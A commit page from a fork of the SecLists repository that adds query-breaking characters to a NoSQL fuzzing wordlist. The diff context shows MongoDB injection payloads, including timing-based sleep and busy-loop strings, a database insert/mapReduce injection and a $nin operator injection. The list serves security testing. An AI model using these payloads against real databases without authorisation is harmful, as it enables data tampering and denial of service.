idan/SecLists
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Add character that can break a MongoDB query when JS expression is used

Browse Source
This commit is contained in:
Dominique RIGHETTO
2020-07-18 18:00:24 +02:00
committed by GitHub
parent b883fc123a
commit 00f10f8513
1 changed files with 9 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

9
Fuzzing/Databases/NoSQL.txt
View File

@@ -18,3 +18,12 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
';sleep(5000); ';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000); ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{$nin: [""]}} {$nin: [""]}}
'
"
\
/
//
;
{
}
: